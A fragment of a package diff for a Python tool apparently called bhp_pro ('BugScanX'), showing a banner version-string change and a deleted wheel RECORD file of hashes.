|
MAGENTA + "╚═╝ ╚═╝ ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
|
|
16068
|
-
PURPLE + "script_version@ 1.
|
|
16229
|
+
PURPLE + "script_version@ 1.2.0 ®" + ENDC,
|
|
16069
16230
|
ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC,
|
|
16070
16231
|
MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
|
|
16071
16232
|
BLUE + "Support: https://t.me/BugScanX 💬" + ENDC,
|
bhp_pro-1.1.8.dist-info/RECORD
DELETED
|
@@ -1,6 +0,0 @@
|
|
|
1
|
-
bhp_pro.py,sha256=BXCI_SDqhnGRcgGKezEyO-S0jtA50iBnbV2Cqbt4O8c,696895
|
|
2
|
-
bhp_pro-1.1.8.dist-info/METADATA,sha256=ds0UvJkz5cgcMxbW2uzetiJPKssNobaOsE1qnjVPvLI,600
|
|
3
|
-
bhp_pro-1.1.8.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
|
4
|
-
bhp_pro-1.1.8.dist-info/entry_points.txt,sha256=Yn3HpraGX3lXX4FPq3Gm-lHh3SwQA-5rtgPWNWMFXkw,41
|
|
5
|
-
bhp_pro-1.1.8.dist-info/top_level.txt,sha256=1xjbIaVM77UJz9Tsi1JjILgE0YDG7iLhY6KSMNEi9zM,8
|
|
6
|
-
bhp_pro-1.1.8.dist-info/RECORD,,
|
|
File without changes
|
|
File without changes
|
|
File without changes
|